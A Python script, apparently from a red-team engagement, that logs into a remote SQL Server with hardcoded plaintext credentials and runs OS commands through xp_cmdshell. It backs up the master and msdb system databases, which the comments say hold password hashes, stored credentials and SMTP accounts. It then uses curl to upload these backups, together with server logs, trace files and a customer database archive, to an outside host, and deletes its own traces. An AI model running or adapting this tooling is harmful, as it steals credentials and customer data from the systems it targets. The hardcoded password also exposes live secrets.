#!/usr/bin/env python3
r"""
Шаги 1-3 из REMAINING_REGULARLY_UPDATED.md:
1. BACKUP master + model + msdb -> VERIFYONLY -> upload ch12 -> del СВОЕГО temp .bak
2. ERRORLOG.1 + default trace .trc -> upload (их файлы, НЕ удаляем)
3. D:\Backup\*_cleaned.rar -> upload (их файл, НЕ удаляем)
Без certutil, без скачивания к нам. Size via for %F. ch12 alive check (исправленный ping).
"""
import re, subprocess, sys, time
from datetime import datetime
from pathlib import Path

SQLCMD = ["docker","run","--rm","--network","host",
    "mcr.microsoft.com/mssql/server:2022-latest",
    "/opt/mssql-tools18/bin/sqlcmd",
    "-S","50.21.183.111","-U","irely","-P","iRely486","-C",
    "-d","master","-s","|","-W"]
CH12 = "https://ch12.hostserviceapp.com"
BAKDIR = r"D:\irelyinstall\backup"
SI = Path("/root/ir-assessment/redteam/irelydata/schema_inventory")
OUT = SI / "sysbak_checksums.tsv"

PING_QUERY = ("SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -o nul -m 20 "
              "-w \"%{http_code}\" " + CH12 + "/'")

LOGDIR = r"C:\Program Files\Microsoft SQL Server\MSSQL16.SQL2022\MSSQL\Log"

def sql(q, t=590):
    p = subprocess.run(SQLCMD+["-Q",q], capture_output=True, text=True, timeout=t)
    j=("SQL Server 2022 will run","This container is running","go.microsoft")
    return "\n".join(l for l in p.stdout.splitlines() if not any(x in l for x in j))

def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}", flush=True)

def ch12_alive(rounds=6, wait_s=300):
    for i in range(rounds):
        o = sql(PING_QUERY, 120)
        if "200" in o: return True
        log(f"  ch12 down ({i+1}/{rounds}) — жду {wait_s//60} мин")
        time.sleep(wait_s)
    return False

def upload(cf, phase, name, path, delete_after, note=""):
    """size -> upload -> (del если delete_after). Возвращает статус."""
    log(f"--- {phase} UPLOAD {name} ---")
    o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (for %F in (\"{path}\") do @echo SIZE=%~zF) else (echo MISSING)'", 590)
    ms = re.search(r"SIZE=(\d+)", o)
    if "MISSING" in o or not ms:
        log(f"  {name}: MISSING — пропуск")
        cf.write(f"{phase}\t{name}\t{path}\t\t\tFAIL_SOURCE_MISSING\t{note}\n"); cf.flush()
        return "FAIL_SOURCE_MISSING"
    size = ms.group(1)
    log(f"  {name}: size={size} ({int(size)/1024**2:.1f} MB)")
    url = ""
    for attempt in (1,2,3):
        if not ch12_alive():
            log(f"  {name}: ch12 не ожил — файл остаётся"); break
        t0 = time.time()
        try:
            o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{path}\" {CH12}'", 28800)
        except subprocess.TimeoutExpired:
            o = "UPLOAD_TIMEOUT"
        mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", o)
        if mu:
            url = mu.group(0).strip()
            el = time.time()-t0
            log(f"  {name}: uploaded за {el:.0f}s ({int(size)/1024**2/max(el,1):.1f} MB/s) -> {url}")
            break
        low = o.lower()
        if "access is denied" in low or "can't open" in low or "failed opening" in low:
            log(f"  {name}: curl не может прочитать (ACL): {o[:120]}")
            cf.write(f"{phase}\t{name}\t{path}\t{size}\t\tFAIL_ACL_DENIED\t{note}\n"); cf.flush()
            return "FAIL_ACL_DENIED"
        log(f"  {name}: попытка {attempt} неудачна: {o[:120]}")
        time.sleep(60)
    if not url:
        cf.write(f"{phase}\t{name}\t{path}\t{size}\t\tFAIL_UPLOAD_KEPT\t{note}\n"); cf.flush()
        return "FAIL_UPLOAD_KEPT"
    if delete_after:
        o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'del \"{path}\"'; EXEC xp_cmdshell 'if exist \"{path}\" (echo STILL_THERE) else (echo GONE)'", 590)
        st = "OK_PENDING_CH12_CHECKSUM" if "GONE" in o else "WARN_DEL_FAILED"
        cf.write(f"{phase}\t{name}\t{path}\t{size}\t{url}\t{st} | temp deleted\t{note}\n"); cf.flush()
    else:
        o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (echo KEPT) else (echo LOST)'", 590)
        st = "OK_PENDING_CH12_CHECKSUM" if "KEPT" in o else "WARN_SOURCE_LOST"
        cf.write(f"{phase}\t{name}\t{path}\t{size}\t{url}\t{st} | source kept\t{note}\n"); cf.flush()
    log(f"  {name}: {st}")
    return st

def do_backup(cf, phase, db, note=""):
    bak = f"{db}_sysbak_09162026.bak"
    bakpath = f"{BAKDIR}\\{bak}"
    log(f"--- {phase} BACKUP {db} -> {bak} ---")
    chk = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{bakpath}\" (echo EXISTS) else (echo FREE)'")
    if "EXISTS" in chk:
        log(f"  {db}: коллизия — пропуск")
        cf.write(f"{phase}\t{db}\t{bakpath}\t\t\tSKIP_NAME_COLLISION\t{note}\n"); cf.flush()
        return "SKIP_NAME_COLLISION"
    t0 = time.time()
    o = sql(
        f"SET NOCOUNT ON;"
        f"BACKUP DATABASE [{db}] TO DISK = N'{bakpath}' WITH COMPRESSION, COPY_ONLY, INIT, CHECKSUM, STATS=10;"
        f"RESTORE VERIFYONLY FROM DISK = N'{bakpath}' WITH CHECKSUM;"
        f"EXEC xp_cmdshell 'for %F in (\"{bakpath}\") do @echo SIZE=%~zF';",
        14400)
    if "successfully processed" not in o or "is valid" not in o:
        log(f"  {db}: BACKUP/VERIFY fail:\n{o[-500:]}")
        cf.write(f"{phase}\t{db}\t{bakpath}\t\t\tFAIL_BACKUP_OR_VERIFY\t{note}\n"); cf.flush()
        return "FAIL_BACKUP_OR_VERIFY"
    ms = re.search(r"SIZE=(\d+)", o)
    size = ms.group(1) if ms else ""
    log(f"  {db}: BACKUP+VERIFY ok за {time.time()-t0:.0f}s, size={size}")
    if not size:
        cf.write(f"{phase}\t{db}\t{bakpath}\t\t\tFAIL_NO_SIZE\t{note}\n"); cf.flush()
        return "FAIL_NO_SIZE"
    return upload(cf, phase, db, bakpath, delete_after=True, note=note)

def main():
    o = sql(PING_QUERY, 120)
    if "200" not in o:
        log(f"FATAL: ch12 недоступен: {o[:100]}"); sys.exit(1)
    log(f"ch12 жив")

    if not OUT.exists():
        OUT.write_text("phase\titem\tpath\tsize_bytes\turl\tstatus\tnote\n")

    results = []
    with OUT.open("a") as cf:
        # === ШАГ 1: BACKUP master + model + msdb ===
        for db, note in [
            ("master", "sys.sql_logins password_hash, linked servers, endpoints"),
            ("model", "шаблон новых БД"),
            ("msdb", "sysjobs/sysjobsteps (команды агента), syscredentials, sysmail_account (SMTP)"),
        ]:
            try:
                st = do_backup(cf, "S1-SYSBAK", db, note)
                results.append((db, st))
            except Exception as e:
                log(f"  {db}: EXC {type(e).__name__}: {e}")
                cf.write(f"S1-SYSBAK\t{db}\t\t\t\tFAIL_EXC:{type(e).__name__}\t{note}\n"); cf.flush()
                results.append((db, f"FAIL_EXC:{type(e).__name__}"))

        # === ШАГ 2: ERRORLOG.1 + default trace ===
        # Сначала найти .trc файлы
        o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'dir \"{LOGDIR}\\*.trc\"'", 590)
        trc_files = re.findall(r'(\S+\.trc)', o)
        if not trc_files:
            # попробуем через sys.traces
            o2 = sql("SET NOCOUNT ON; SELECT path FROM sys.traces WHERE is_default=1", 120)
            m = re.search(r'(C:\\.*\.trc)', o2)
            if m: trc_files = [m.group(1)]
        log(f"Найдено trace-файлов: {len(trc_files)}")

        for fpath in [LOGDIR + r"\ERRORLOG.1"] + trc_files:
            fname = fpath.split("\\")[-1]
            try:
                st = upload(cf, "S2-LOGS", fname, fpath, delete_after=False, note="их файл, не удаляем")
                results.append((fname, st))
            except Exception as e:
                log(f"  {fname}: EXC {type(e).__name__}: {e}")
                cf.write(f"S2-LOGS\t{fname}\t{fpath}\t\t\tFAIL_EXC:{type(e).__name__}\t\n"); cf.flush()
                results.append((fname, f"FAIL_EXC:{type(e).__name__}"))

        # === ШАГ 3: cleaned.rar ===
        rar = r"D:\Backup\2610PIGOTTOILUAP01_latestcustomerdb_081726_cleaned.rar"
        try:
            st = upload(cf, "S3-CLEANED", "cleaned.rar", rar, delete_after=False,
                        note="sanitized копия PIGOTT, их PII-модель; их файл, не удаляем")
            results.append(("cleaned.rar", st))
        except Exception as e:
            log(f"  cleaned.rar: EXC {type(e).__name__}: {e}")
            cf.write(f"S3-CLEANED\tcleaned.rar\t{rar}\t\t\tFAIL_EXC:{type(e).__name__}\t\n"); cf.flush()
            results.append(("cleaned.rar", f"FAIL_EXC:{type(e).__name__}"))

    log("=== ШАГИ 1-3 ЗАВЕРШЕНЫ ===")
    oks = sum(1 for _,s in results if s.startswith("OK"))
    log(f"OK: {oks}/{len(results)}")
    for n,s in results:
        if not s.startswith("OK"):
            log(f"  НЕ-OK: {n} -> {s}")

if __name__ == "__main__":
    main()